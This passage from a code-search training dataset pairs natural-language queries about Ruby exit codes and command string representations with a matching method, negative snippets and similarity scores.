"def exit_code\n return @rspec_exit_code if @formatter.results.empty?\n\n stats = @formatter.results[:statistics][:controls]\n skipped = @formatter.results&.fetch(:profiles, nil)&.first&.fetch(:status, nil) == \"skipped\"\n if stats[:failed][:total] == 0 && stats[:skipped][:total] == 0 && !skipped\n 0\n elsif stats[:failed][:total] > 0\n @conf[\"distinct_exit\"] ? 100 : 1\n elsif stats[:skipped][:total] > 0 || skipped\n @conf[\"distinct_exit\"] ? 101 : 0\n else\n @rspec_exit_code\n end\n end",
"def assert_exit_status(thread,expected_status)\n unless thread.nil?\n assert_equal expected_status, thread.value.exitstatus\n end\n end",
"def self_log?\n @status.exitstatus & (1 << 7) != 0\n end",
"def success?\n reply_code == 0\n end",
"def exited?(*) end",
"def ok(message)\n\tputs \"OK - #{message}\"\n\texit 0\nend",
"def ok(message)\n\tputs \"OK - #{message}\"\n\texit 0\nend",
"def succeeds?(command)\n system(\"#{command} > /dev/null 2> /dev/null\")\n $? == 0\n end",
"def process_result(result, exit_status); end"
] |
[
"0.85816276",
"0.8432675",
"0.82690567",
"0.8076867",
"0.800863",
"0.79440194",
"0.7924232",
"0.7910442",
"0.7878337",
"0.77925354",
"0.7749073",
"0.77309525",
"0.7727352",
"0.76924384",
"0.74531144",
"0.7442919",
"0.74366957",
"0.73715097",
"0.7360381",
"0.7334392",
"0.7331133",
"0.7310619",
"0.73070854",
"0.72508013",
"0.724619",
"0.72313416",
"0.72197646",
"0.7190896",
"0.71586466",
"0.7136623",
"0.7103922",
"0.7087588",
"0.70861995",
"0.7078084",
"0.70712763",
"0.70651066",
"0.69201064",
"0.6913164",
"0.69075626",
"0.6884673",
"0.68236244",
"0.67954683",
"0.67921656",
"0.67849594",
"0.6782725",
"0.67795354",
"0.67779744",
"0.67693585",
"0.676483",
"0.6762396",
"0.6762396",
"0.6762396",
"0.6762396",
"0.6762396",
"0.6754463",
"0.6733315",
"0.6717526",
"0.671103",
"0.6696937",
"0.6687056",
"0.6682656",
"0.66725135",
"0.66636074",
"0.66636074",
"0.66569006",
"0.6649033",
"0.6632272",
"0.66282445",
"0.6612032",
"0.6603257",
"0.6601151",
"0.65979946",
"0.65944904",
"0.65830934",
"0.6580157",
"0.6580157",
"0.657615",
"0.65679556",
"0.65660965",
"0.6547663",
"0.6545245",
"0.6540431",
"0.6532316",
"0.6527884",
"0.6510649",
"0.6493199",
"0.6481398",
"0.6481398",
"0.6471322",
"0.6452606",
"0.6451933",
"0.64391124",
"0.64337033",
"0.6431799",
"0.6408909",
"0.6406809",
"0.64002657",
"0.64002657",
"0.6399923",
"0.63923055"
] |
0.85124886
|
1
|
Check if exit code is not successful
|
def failure?
exit_code != 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def successful?\n exit_code == 0\n end",
"def success?\n exit_code == 0\n end",
"def success?\n exit_status == 0\n end",
"def has_errors?\n return @exitcode == 2 || @exitcode == 1\n end",
"def check_exit_code!(executable, command, output)\n if $?.exitstatus != 0\n raise DownloaderError, \"Error on `#{executable} #{command}`.\\n#{output}\"\n end\n end",
"def exit_status\n @failure_count == 0 ? exit(0) : exit(1)\n end",
"def check_exit_code(code)\n status = code == SUCCESS_EXIT_CODE ? SUCCESS_STATUS : FAILURE_STATUS\n return status\n end",
"def exitstatus; end",
"def nonzero_exit?\n exit_code != 0\n end",
"def success?\n # note that Linux ruby returns nil when exitstatus is nil and a termsig\n # value is set instead.\n return @exitstatus ? (0 == @exitstatus) : nil\n end",
"def success?\n\t\t!!( @status and @status.exitstatus == 0 )\n\tend",
"def puppet_successful?(exit_status)\n [0, 2].include?(exit_status)\n end",
"def failing?\n @status.exitstatus & (1 << 3) != 0\n end",
"def exitstatus(*) end",
"def failing?\n @status.exitstatus & (1 << 3) != 0\n end",
"def exit(res=0) end",
"def exit?\n !exit_code.nil?\n end",
"def success?\n status == Process::EXIT_SUCCESS\n end",
"def last_command_successful?\n $?.exitstatus == 0\n end",
"def exit_status_from_exception; end",
"def exitcode\n run unless @process\n @process.exitstatus\n end",
"def exit!(res=0) end",
"def exitcode\n run unless @process\n @process.exitstatus\n end",
"def exit(ret)\n @exit_status = ret\n if defined? Rbkb::Cli::TESTING\n throw(((ret==0)? :exit_zero : :exit_err), ret)\n else\n Kernel.exit(ret)\n end\n end",
"def last_exit_successful?\n $!.nil? || $!.is_a?(SystemExit) && $!.success?\nend",
"def successful?\n @code == 0\n end",
"def exitstatus\n subexec.try(:exitstatus)\n end",
"def assert_error_occurred\n assert_not_exit_status 0\n end",
"def assert_clean_exit\n assert(0 == exit_status)\n end",
"def exit_status\n wait_until_done\n @status && @status.exitstatus\n end",
"def done?\n !!@exitstatus\n end",
"def error!(status, msg)\n error msg\n exit status\n end",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def fail(msg, code=1)\n STDERR.puts msg\n exit code\nend",
"def prefail?\n @status.exitstatus & (1 << 4) != 0\n end",
"def ok?\n @result.retval == 0\n end",
"def tests_contain_failures?\n $?.exitstatus == PHPUNIT_FAILURES_EXITCODE\n end",
"def ok?\n run unless ran?\n\n @status.success?\n end",
"def error_log?\n @status.exitstatus & (1 << 6) != 0\n end",
"def success?\n @code.to_i == 0\n end",
"def check_retval(rc, e_klass = nil)\n return true unless ::OpenNebula.is_error?(rc)\n fail (e_klass ? e_klass : RuntimeError ), rc.message\n end",
"def exit_status\n @status\n end",
"def checkProcessStatus(description)\n #N Without this, we won't know the status of the last process\n processStatus = $?\n #N If we don't check for exited, then we might report an invalid or undefined status value\n if not processStatus.exited?\n raise \"#{description}: process did not exit normally\"\n end\n #N Without this, we won't know if the status was non-zero\n exitStatus = processStatus.exitstatus\n #N If we don't check for zero, then we'll always raise an error, even for success\n if exitStatus != 0\n #N If we don't raise the error, then an invalid exit status will seem to exit successfully\n raise \"#{description}: exit status = #{exitStatus}\"\n end\n end",
"def assert_no_clean_exit\n assert(0 != exit_status)\n end",
"def run_and_success?(cmd)\n run(cmd).success?\n end",
"def puppet_detailed_exit_code_indicates_error?(ec)\n return (ec == 4 or ec == 6 or ec == 1)\n end",
"def done?\n exit_status.present?\n end",
"def exit_code\n self.__options[:exit_code]\n end",
"def system_exit(status)\n exit(status)\n end",
"def prefail?\n @status.exitstatus & (1 << 4) != 0\n end",
"def error_log?\n @status.exitstatus & (1 << 6) != 0\n end",
"def tests_contain_errors?\n $?.exitstatus == PHPUNIT_ERRORS_EXITCODE\n end",
"def error_check(rc)\n if ZMQ::Util.resultcode_ok?(rc)\n false\n else\n puts \"Operation failed, errno [#{ZMQ::Util.errno}] description [#{ZMQ::Util.error_string}]\"\n caller(1).each { |callstack| puts callstack }\n true\n end\nend",
"def error(msg, code)\n STDERR.puts msg\n exit code\nend",
"def error(msg, code)\n STDERR.puts msg\n exit code\nend",
"def system_exitcode(t, stderr, name)\t\n\t\tif t.value.success?\n\t\t\t$logfile.puts \"#{Time.new.strftime(\"%c\")}: #{name} succeded.\"\n\t\t\tif stderr.any?\n\t\t\t\t$logfile.puts \"#{name} output:\"\n\t\t\t\tstderr.readlines.each {|line| $logfile.puts line}\n\t\t\tend\n\t\telse\n\t\t\t$logfile.puts \"#{Time.new.strftime(\"%c\")}: Error in #{name}:\"\n\t\t\tstderr.readlines.each {|line| $logfile.puts line}\n\t\t\texit\n\t\tend\n\tend",
"def error(message, code = 1)\n puts \"custodian: #{message}\"\n exit code\n end",
"def determine_exit_code(db)\n if db.insert_count > 0 then 2 else 0 end\nend",
"def error(rc)\n return rc[0].strip if rc[2].success?\n\n puts \"ERROR: #{rc[1]}\"\n\n exit(-1)\nend",
"def do_exit (v, code, msg)\n puts msg unless msg == nil\n if v == true\n exit 3\n else\n exit code\n end\nend",
"def no_command?\n exit_code == 127\n end",
"def exit_status\n status = 0\n if @metrics[\"changes\"] && @metrics[\"changes\"][TOTAL] &&\n @metrics[\"resources\"] && @metrics[\"resources\"][\"failed\"] &&\n @metrics[\"resources\"][\"failed_to_restart\"]\n status |= 2 if @metrics[\"changes\"][TOTAL] > 0\n status |= 4 if @metrics[\"resources\"][\"failed\"] > 0\n status |= 4 if @metrics[\"resources\"][\"failed_to_restart\"] > 0\n else\n status = -1\n end\n status\n end",
"def system_exitcode(t, stderr, name)\t\n\t\tif t.value.success?\n\t\t\t$logfile.puts \"#{Time.new.strftime(\"%c\")}: Running #{name} finished.\"\n\t\t\tif stderr.any?\n\t\t\t\t$logfile.puts \"#{name} output:\"\n\t\t\t\tstderr.readlines.each {|line| $logfile.puts line}\n\t\t\tend\n\t\telse\n\t\t\t$logfile.puts \"#{Time.new.strftime(\"%c\")}: Error in #{name}:\"\n\t\t\tstderr.readlines.each {|line| $logfile.puts line}\n\t\t\texit\n\t\tend\n\tend",
"def assert_no_error_occurred\n assert_exit_status(0)\n end",
"def exit_code\n # there must be no unit test failures\n # pp @results\n final_exit_code = 0\n if @results['rubocop']\n # more than 10 errors per file on average\n status = @results['rubocop']['total_errors'] / @results['rubocop']['total_files']\n if status > 10\n puts \"More than 10 RuboCop errors per file found. Found #{status}\"\n final_exit_code = 1\n end\n end\n\n if @results['openstudio_style']\n total_files = @results['openstudio_style']['by_measure'].count\n status = @results['openstudio_style']['total_errors'] / total_files\n if status > 10\n puts \"More than 10 OpenStudio Style errors found per file. Found #{status}\"\n final_exit_code = 1\n end\n\n status = @results['openstudio_style']['total_warnings'] / total_files\n if status > 25\n puts \"More than 25 OpenStudio Style warnings found per file, reporting as error. Found #{status}\"\n final_exit_code = 1\n end\n end\n\n if @results['minitest']\n if @results['minitest'][:total_errors] > 0 || @results['minitest'][:total_failures] > 0\n puts 'Unit Test (Minitest) errors/failures found.'\n final_exit_code = 1\n end\n end\n\n # if @results['coverage']\n # status = @results['coverage']['total_percent_coverage']\n # if status < 70\n # puts \"Code coverage is less than 70%, raising error. Coverage was #{status}\"\n # final_exit_code = 1\n # end\n # end\n\n # Since the data are relative to the directory from which it has been run, then just show from current dir (.)\n puts 'Open ./test_results/dashboard/index.html to view measure testing dashboard.'\n\n return final_exit_code\n end",
"def error!\n # Unhandled exception\n if @exception\n exception_message\n exit 2\n # Some checksums did not match?\n elsif !(invalid_packages.empty? && invalid_metadata_files.empty?)\n error_message\n exit 2\n # We don't have checksums for some packages?\n elsif unverifiable_package_count != 0\n unverifiable_packages_message\n exit 2\n else\n success_message\n exit 0\n end\n end",
"def exitcode\n @process_status ? @process_status.exitstatus : nil\n end",
"def successful?\n @code.nil?\n end",
"def exit_status\n status = 0\n status |= 2 if @metrics[\"changes\"][\"total\"] > 0\n status |= 4 if @metrics[\"resources\"][\"failed\"] > 0\n status\n end",
"def success?() end",
"def exit!(msg, err = -1)\n Kitchenplan::Log.debug(msg)\n Process.exit err\n end",
"def test_exitstatus\n with_fixture 'exitstatus' do\n assert system(\"ruby\", ocra, \"exitstatus.rb\", *DefaultArgs)\n system(\"exitstatus.exe\")\n assert_equal 167, $?.exitstatus\n end\n end",
"def fail(msg)\n $stderr.puts msg\n Kernel.exit 1\nend",
"def set_exit_status\n @exit_status =\n if exception\n exception.is_a?(StandardError) ? 2 : 3\n else\n Logger.has_warnings? ? 1 : 0\n end\n end",
"def fail(msg)\n $stderr.puts(msg)\n exit(1)\nend",
"def failed?\n not @ok\n end",
"def checkErroredStatus\n case @stage\n when DOWNLOAD\n $log.info{ \"check downloaded file. @downNG=#{@downNG}\" }\n return true if @downNG\n rawFileError?\n when CONVERT\n outFileError?\n else\n true\n end\n end",
"def exit_code(value = nil)\n if value\n @exit_code = value\n else\n @exit_code\n end\n end",
"def failure?; terminal_flag == :failure end",
"def failure?; terminal_flag == :failure end",
"def succeeds?(command)\n system(\"#{command} > /dev/null 2> /dev/null\")\n $? == 0\n end",
"def system_exit\n exit 1\n end",
"def failure(message)\n $stderr.puts \"#{name}: #{message}\"\n exit 1\n end",
"def exit_process(exit_code)\n exit exit_code\n end",
"def self_log?\n @status.exitstatus & (1 << 7) != 0\n end",
"def successful?\n status_code == 0 ? true : false\n end",
"def system_check(cmd)\n success = system cmd\n raise \"Error running '#{cmd}'\" unless success \nend",
"def exit!(msg, err = -1)\n Backdat::Log.debug(msg)\n Process.exit err\n end",
"def exited?(*) end",
"def exit_status()\n unless @exit_status.nil?\n Thread === @exit_status ? @exit_status.value().exitstatus() : \n @exit_status.exitstatus()\n end\n end",
"def exit_status()\n unless @exit_status.nil?\n Thread === @exit_status ? @exit_status.value().exitstatus() : \n @exit_status.exitstatus()\n end\n end",
"def exit_code=(value)\n end",
"def exit_code\n return @rspec_exit_code if @formatter.results.empty?\n\n stats = @formatter.results[:statistics][:controls]\n skipped = @formatter.results&.fetch(:profiles, nil)&.first&.fetch(:status, nil) == \"skipped\"\n if stats[:failed][:total] == 0 && stats[:skipped][:total] == 0 && !skipped\n 0\n elsif stats[:failed][:total] > 0\n @conf[\"distinct_exit\"] ? 100 : 1\n elsif stats[:skipped][:total] > 0 || skipped\n @conf[\"distinct_exit\"] ? 101 : 0\n else\n @rspec_exit_code\n end\n end",
"def assert_exit_status(thread,expected_status)\n unless thread.nil?\n assert_equal expected_status, thread.value.exitstatus\n end\n end",
"def fails?(command)\n !succeeds?(command)\n end",
"def error(msg)\n puts \"#{msg}\\n\\n\"\n exit -1\nend",
"def puppet_changes?(exit_status)\n [2, 6].include?(exit_status)\n end"
] |
[
"0.8159192",
"0.81381655",
"0.80043775",
"0.7929908",
"0.79036874",
"0.7856349",
"0.77918094",
"0.7761623",
"0.7742327",
"0.773521",
"0.76649433",
"0.76373565",
"0.75694597",
"0.7563239",
"0.7501878",
"0.73997825",
"0.7399176",
"0.73874354",
"0.73707736",
"0.7368859",
"0.72367066",
"0.7215647",
"0.720426",
"0.71974134",
"0.7185753",
"0.7149369",
"0.7148448",
"0.71332383",
"0.7122035",
"0.706176",
"0.70440054",
"0.7015639",
"0.70075315",
"0.70075315",
"0.70075315",
"0.70075315",
"0.70075315",
"0.6968372",
"0.6949503",
"0.6906363",
"0.6902727",
"0.6898799",
"0.6891017",
"0.687599",
"0.6871445",
"0.6871079",
"0.6831174",
"0.6823459",
"0.67787814",
"0.67756927",
"0.677325",
"0.676768",
"0.67637414",
"0.6759772",
"0.6758182",
"0.6753946",
"0.6720261",
"0.6720261",
"0.6707991",
"0.67051476",
"0.6684265",
"0.668078",
"0.66688055",
"0.66671026",
"0.6655763",
"0.66370976",
"0.6620884",
"0.65932864",
"0.6589436",
"0.65760344",
"0.65648025",
"0.6558714",
"0.65440255",
"0.65397006",
"0.65374655",
"0.6533889",
"0.6533728",
"0.65309316",
"0.6530087",
"0.6529701",
"0.65233165",
"0.6507228",
"0.6507228",
"0.64990103",
"0.6489638",
"0.64729065",
"0.64566684",
"0.6447854",
"0.64451337",
"0.6442554",
"0.64365745",
"0.6433765",
"0.6433433",
"0.6433433",
"0.64227486",
"0.64196634",
"0.6408339",
"0.64016443",
"0.6394468",
"0.63940203"
] |
0.8578123
|
0
|
Get command string representation
|
def to_s
"[#{command}] => #{exit_code}, #{output.to_s.bytesize} bytes, #{duration} seconds"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s\n return command\n end",
"def to_s\n #N Without this we won't see the command as a command and a list of arguments\n return command.join(\" \")\n end",
"def to_s\n msg = ''\n msg += \"Command: #{name}\\n\"\n options.each { |o| msg += \" \" + o.inspect + \"\\n\"}\n msg += \"\\n\"\n commands.each { |k, v| msg += commands[k].inspect }\n msg\n end",
"def to_s\n \"executed `#{@command.to_s.ellipsisize}'\"\n end",
"def command\n return @raw_command\n end",
"def command_string\n\t\treturn datastore['CMD'] || ''\n\tend",
"def to_s\n \"#{@dir}> #{@cmd}\"\n end",
"def command\n return \"#{@command} #{options}\"\n end",
"def to_s\n 'Abstract Command'\n end",
"def to_s\n str = ''\n str << \"Command: #{@feature} #{@name}\\n\"\n @hash.each { |key, value| str << \" #{key}: #{value}\\n\" }\n str\n end",
"def to_s\n str = \"\"\n\n str << \":#{@prefix} \" unless @prefix.empty?\n str << @command\n\n if @params\n f = false\n @params.each do |param|\n f = !f && (param.empty? || param[0] == ?: || param.include?(\" \"))\n str << \" \"\n str << \":\" if f\n str << param\n end\n end\n\n str << \"\\x0D\\x0A\"\n\n str\n end",
"def command(cmd)\n if VNMNetwork::COMMANDS.keys.include?(cmd.to_sym)\n cmd_str = \"#{VNMNetwork::COMMANDS[cmd.to_sym]}\"\n else\n cmd_str = \"#{cmd}\"\n end\n\n return cmd_str\n end",
"def formulate_command\n @command\n end",
"def cmd\n (@cmd ? @cmd : @ctx.cmd).join ' '\n end",
"def full_command\n command_array.join(' ')\n end",
"def to_s\n name\n .split(\"::\")\n .map { |n| n.gsub(/Command$/, \"\").downcase if /Command$/.match?(n) }\n .compact\n .join(\" \")\n end",
"def command\n return @command.underscore if @command.is_a?(String)\n @command\n end",
"def command_str_for(*args)\n args.collect{|arg|\n case arg\n when Array\n arg.join(' ')\n when Hash\n arg.collect{|k,v| \"-#{k} #{v}\"}.join(' ')\n else\n arg.to_s\n end\n }.join(' ')\n end",
"def cmd(command)\n\t\tbegin\n\t\t\t`#{command}`\n\t\trescue Exception => e\n\t\t\te.to_s\n\t\tend\n\tend",
"def inspect\n return to_s if success?.nil?\n (success? ? \"success : \" : \"fail : \") + @command\n end",
"def commands\n args.commands.map do |cmd|\n if cmd.respond_to?(:join)\n cmd.map { |c| c.index(' ') ? \"'#{c}'\" : c }.join(' ')\n else\n cmd.to_s\n end\n end\n end",
"def to_s\n cmd = ''\n @arr.each do |arg|\n if arg == @arr.first\n cmd << arg\n elsif arg.is_a?(Array)\n param, value = arg.first.to_s, arg.last.to_s\n\n if param =~ /^\\-{1,2}(.*)/\n param = $1\n end\n\n if param.length == 1\n cmd << ' ' << \"-#{param} #{Escape.shell_single_word(value)}\"\n else\n cmd << ' ' << \"--#{param}=#{Escape.shell_single_word(value)}\"\n end\n elsif arg.is_a?(Symbol)\n arg = arg.to_s\n if arg.length == 1\n cmd << ' ' << \"-#{arg}\"\n else\n cmd << ' ' << \"--#{arg}\"\n end\n elsif arg.is_a?(String) && arg.strip =~ /^\\-/\n cmd << ' ' << arg\n else\n cmd << ' ' << Escape.shell_single_word(arg.to_s)\n end\n end\n cmd\n end",
"def raw_command\n @raw_command ||= @raw.split[0] || \"\"\n end",
"def command\n return nil unless commands\n\n # Map commands to template & chain\n commands.map(&method(:template_command_with_output_cleaned)).join(' && ')\n end",
"def to_s\n msg_str = \"Command Packet Hex Str: #{@cmd_str.to_s}\\n\"\n msg_str << \"net_id: #{@net_id}\\n\"\n msg_str << \"pkt_no: #{@pkt_no}\\n\"\n msg_str << \"cmd_id: #{@cmd_id.to_s(16)}\\n\"\n msg_str << \"res_req: #{@res_req}\\n\"\n msg_str << \"ack_req: #{@ack_req}\\n\"\n msg_str << \"ack_bit: #{@ack_bit}\\n\"\n msg_str << \"err_bit: #{@err_bit}\\n\"\n if @data != nil\n data_str = \"\"\n if @data == CmdManager::DONT_CARE\n data_str = CmdManager::DONT_CARE\n else \n @data.each{|x| \n if x == CmdManager::DONT_CARE\n data_str << CmdManager::DONT_CARE\n else\n data_str << \"#{x.to_s(16)} \"\n end\n }\n end\n \n msg_str << \"data: [#{data_str.chop}]\\n\"\n end\n if @error_no != 0\n msg_str << \"error_desc: #{@error_desc}\\n\"\n end\n \n msg_str\n end",
"def to_s # :nocov:\n s = []\n s << \"CommandSpec:#{self.object_id}\"\n s << \" digest: #{self.digest}\"\n s << \" repo: #{self.repo}\"\n s << \" bundle: #{self.bundle}\"\n s << \" command: #{self.command}\"\n s << \" args: #{self.args}\"\n s << \" user: #{self.user}\"\n s << \" group: #{self.group}\"\n s << \" env: \" + (self.env.nil?() ? \"\" : MultiJson.dump(self.env))\n s << \" stdin: \" + Debug.pretty_str(stdin)\n s.join(\"\\n\")\n end",
"def command\n attributes.fetch(:command)\n end",
"def command\n attributes.fetch(:command)\n end",
"def to_s(n_cmds); end",
"def command_name\n return @command_name\n end",
"def command command_string\n connection.command self.id, nil, command_string\n end",
"def command\n if args.skip?\n ''\n else\n commands.join('; ')\n end\n end",
"def command_name(cmd)\n cmd\n end",
"def command\n @attributes['command']\n end",
"def output\n (value = parent.get(@name)).nil? ? @raw_command : value.to_s\n end",
"def command_name\n return self.class.to_s.split(\"::\").last.downcase.gsub(/command/,\"\")\n end",
"def getCommand(state)\n\treturn 'e ' << state.to_s\nend",
"def command_name\n self.class.command_name\n end",
"def command\n\n h.fields['__command__']\n end",
"def command_line\n command_line = \"\"\n metadata['pipeline']['actions'].each do |action|\n command_line += action['commands'].join(' ') + \"\\n\"\n end\n command_line.chomp(\"\\n\")\n end",
"def command\n @property[:command]\n end",
"def quick_command\n @raw[0] || \"\"\n end",
"def command\n ([executable] + options_composition + @redirections).join(\" \")\n end",
"def available_commands_string\n @available_commands.join(', ')\n end",
"def command_pp\n to_s.gsub(/^_/, \"\").downcase\n end",
"def serialize\n lf = \"\\n\"\n (@cmds.join lf) + lf\n end",
"def string_format\n (command_environment.map do |key, value|\n [key, value].join(\"=\")\n end + [command]).join(\" \")\n end",
"def build_command(cmd)\n cmd\n end",
"def to_s\n s = @list.join(command_join_string!)\n s\n end",
"def command_name; end",
"def command_name\n @command_name ||= if command = name.to_s.split(\"::\").last\n command.chomp!(\"Command\")\n command.underscore\n end\n end",
"def to_s\n @argv.join(' ')\n end",
"def raw(command)\n puts command\n end",
"def command; datastore['COMMAND']; end",
"def hex_cmd_id\n \"0x\" + @cmd_id.to_s(16)\n end",
"def commandType\n result = \"\"\n if (@currentCommand.slice(0) == \"@\")\n result = \"A_COMMAND\"\n else\n result = \"C_COMMAND\"\n end\n return result\n end",
"def to_s\n s = \"#@method \"\n s << \"-db '#@db' \" if @db\n s << \"-query #@qfile \" if @qfile\n s << @options.to_s if @options\n s\n end",
"def command_content\n return @command_content\n end",
"def command_presentation\n msg = []\n msg << command_header\n msg << \"Usage:\"\n msg << usage_presentation\n\n if opts = options_presentation\n msg << \"Options:\\n#{opts}\"\n end\n if subcommands = subcommands_presentation\n msg << \"Subcommands:\\n#{subcommands_presentation}\"\n end\n msg.join(\"\\n\\n\")\n end",
"def command\n @command ||= Mixlib::ShellOut.new from_instructions\n end",
"def inspect\n string = \"#{self.class} running: #{command}\\n\"\n string << @standard_output.inspect.gsub(/^/, ' ')\n string << @standard_error.inspect.gsub(/^/, ' ')\n end",
"def command_name\n klass_name = self.class.name.split('::').last\n command = klass_name.gsub(/([^\\^])([A-Z])/, '\\1_\\2').downcase\n command\n end",
"def command\n if new_resource.command.is_a?(Array)\n [new_resource.python] + new_resource.command\n else\n \"#{new_resource.python} #{new_resource.command}\"\n end\n end",
"def command_header\n header = \"#{command.identity}\"\n header << \" -- #{command.description}\" if command.description\n header\n end",
"def command\n\n cmd = \"\"\n\n xval = @options['xrange']\n cmd << \" #{xval}\" if( xval )\n \n yval = @options['yrange']\n cmd << \" #{yval}\" if( yval and xval )\n\n cmd << \" #{@basecommand}\"\n\n cmd << \" using #{@options['using']}\" if( @options['using'] )\n\n tstr = @options[\"title\"]\n cmd += if( !tstr ) then ''\n\t elsif( tstr == 'notitle' ) then 'notitle'\n\t else \" title '#{tstr}'\"\n\t end\n\n cmd << \" with #{@options['with']}\" if( @options[\"with\"] )\n\n cmd\n end",
"def command\n cmd = [@serf, 'agent']\n\n cmd << ['-node', @name] if @name\n cmd << '-replay' if @replay\n cmd << '-discover' if @discover\n\n @initial_tags.each do |key, val|\n cmd << ['-tag', \"#{key}=#{val}\"]\n end\n\n cmd << [\n '-event-handler',\n [@villein_handler, *event_listener_addr].join(' ')\n ]\n\n @custom_event_handlers.each do |handler|\n cmd << ['-event-handler', handler]\n end\n\n %w(bind iface advertise config-file config-dir\n encrypt join log-level profile protocol rpc-addr\n snapshot tags-file).each do |key|\n\n val = instance_variable_get(\"@#{key.gsub(/-/,'_')}\")\n cmd << [\"-#{key}\", val] if val\n end\n\n cmd.flatten.map(&:to_s)\n end",
"def commands_command(stem, sender, reply_to, msg)\n commands = self.class.instance_methods.select { |m| m =~ /^\\w+_command$/ }\n commands.map! { |m| m.to_s.match(/^(\\w+)_command$/)[1] }\n commands.reject! { |m| UNADVERTISED_COMMANDS.include? m }\n return if commands.empty?\n commands.map! { |c| \"#{options[:command_prefix]}#{c}\" }\n \"Commands for #{leaf_name}: #{commands.sort.join(', ')}\"\n end",
"def raw\n text = (@parse_results[:command][1..-1].map {|a| a[:text]}).join(\" \")\n ((EventPrinter::Vocab::Command + \" \") * (@parse_results[:indent] + 1)) + text\n end",
"def command(binary, action, service, param = nil, sub_param = nil)\n [\n prepare_parameter(binary),\n action, # simple keyword does not need transformation\n prepare_parameter(service),\n prepare_parameter(param),\n prepare_parameter(sub_param, false) # last param does no need quoting\n ].reject(&:empty?).join ' '\n end",
"def to_iscp\n return \"#{@start + @unit_type + @command + @parameter}\"\n end",
"def raw\n orig_command = \"show calls\"\n end",
"def command(type, name, data = nil)\n command = \"#{type} /#{name}\"\n command += \" #{data}\" if data\n \n STDOUT.puts(command)\n end",
"def command\n @command ||= command_for(:query)\n end",
"def command(cmd)\n \"do_#{cmd}\".intern\n end",
"def encoded \n @command.to_mikrotik_word + @options.collect { |key, value|\n case value.class.name\n when 'Array' \n [key, value.collect { |item| \"#{item}\" }.join(',')].join '=' \n else\n \"#{key}=#{value}\"\n end\n }.map { |option| option.to_mikrotik_word }.join + 0x00.chr\n end",
"def command_name(command)\n command.slice(0, command.index(/\\s/)).split('/')[-1]\n end",
"def cmd_info\n cmd_author\n cmd_date\n cmd_log(true)\n end",
"def command\n case first\n when '\\?' then Command::HelpCommand\n when '\\config' then Command::PrintConfigCommand\n else\n puts \"Unknown command: #{buffer}\"\n end\n end",
"def command\n device = \"\"\n if @device != -1\n device = \"--device #{@device.to_s}\"\n end\n blocks = \"\"\n if @include_blocks\n blocks = \"--show_blocks\"\n end\n \"%s --size %d --duration %d --randsleep %s %s\" % [@executable, @input_size,\n @duration, blocks, device]\n end",
"def command\n relation.command(command_type, **command_compiler_options)\n end",
"def cmd_cmds\n puts self.methods.grep(/^cmd_/).map {|m| m[4..-1]} * \" \"\n end",
"def to_command(symbol)\n command_class_name = symbol.to_s.path_to_name.tr(' ', '')\n Kernel.const_get(\"#{command_class_name}Command\")\n end",
"def command_name(command)\n parts = []\n command = command.split(\" \")\n command.shift while command[0].to_s.include?(\"=\")\n parts << command.shift.split(\"/\")[-1]\n if parts[0] == \"sudo\"\n until command.empty?\n part = command.shift\n if part.include?(\"/\")\n parts << part.split(\"/\")[-1]\n break\n else\n parts << part\n end\n end\n end\n parts.join(\" \")\n end",
"def command\n @command ||= command_for(:query)\n end",
"def description_from_command(command)\n zone = zone_from_command(command)\n @commands[zone][command][:description]\n end",
"def to_s(n_cmds)\n show_size = n_cmds ? specific_max_size(n_cmds) : default_max_size\n\n commands = buffer.last(show_size)\n\n last_ids(show_size).zip(commands).map do |l|\n format(\"%<position>5d %<command>s\", position: l[0], command: l[1])\n end.join(\"\\n\") + \"\\n\"\n end",
"def format(command)\n command.help\n end",
"def to_s\n str = \"%04d: %-27s\" % [@ip, opcode]\n str << @args.map{|a| a.inspect}.join(', ')\n if @comment\n str << \" # #{@comment}\"\n end\n\n return str\n end",
"def commandGetOut _args\n \"commandGetOut _args;\" \n end",
"def inspect\n string_buff = [\"\\n------ Remote Control -------\\n\"]\n @on_commands.zip(@off_commands) \\\n .each_with_index do |commands, i|\n on_command, off_command = commands\n string_buff << \\\n \"[slot #{i}] #{on_command.class} \" \\\n \"#{off_command.class}\\n\"\n end\n string_buff << \"[undo] #{@undo_command.class}\\n\"\n string_buff.join\n end",
"def inspect\n string_buff = [\"\\n------ Remote Control -------\\n\"]\n @on_commands.zip(@off_commands) \\\n .each_with_index do |commands, i|\n on_command, off_command = commands\n string_buff << \\\n \"[slot #{i}] #{on_command.class} \" \\\n \"#{off_command.class}\\n\"\n end\n string_buff << \"[undo] #{@undo_command.class}\\n\"\n string_buff.join\n end",
"def ident\n \"<Command name=#{name}>\"\n end",
"def command_params\n params[:command]\n end",
"def raw\n raise \"Invalid action, must specify (start|stop|restart|rescan) as an action or pass a command_string\" unless @command_string or @action\n if @action\n if @action_options\n \"sofia profile %s %s %s\" % [@name, @action, @action_options]\n else\n \"sofia profile %s %s\" % [@name, @action]\n end\n else\n \"sofia profile %s\" % @command_string\n end.to_s.strip\n end",
"def command\n\t\t\t@command ||= compute_command\n\t\tend",
"def get_text(command)\n command = command.split(' ')\n head = command.shift\n @params = command.join(' ')\n interpret_command head.to_s.downcase\n end",
"def commands\n COMMANDS\n end",
"def to_s\n require \"shellwords\"\n\n escaped_args = @args.map do |arg|\n escaped = Shellwords.escape(arg)\n next escaped if escaped == arg\n next escaped if arg.include?(\"'\")\n \"'#{arg}'\"\n end\n escaped_args.join(\" \")\n end",
"def command\n if self.valid\n command = [\"command=\\\"#{Rails.root}/#{Settings.application.aq_shell} #{self.login}\\\"\",\n \"no-port-forwarding\", \"no-X11-forwarding\", \"no-agent-forwarding\"]\n command.join(\",\")\n end\n end",
"def command_output\n [command.stdout, command.stderr].join(\"\\n\\n\")\n end"
] |
[
"0.8940828",
"0.8541477",
"0.84562266",
"0.788356",
"0.77758795",
"0.7649866",
"0.7648143",
"0.76115394",
"0.7568072",
"0.7483873",
"0.74796283",
"0.74681383",
"0.7255104",
"0.72177637",
"0.72001135",
"0.7198535",
"0.7195408",
"0.71894324",
"0.71782744",
"0.717323",
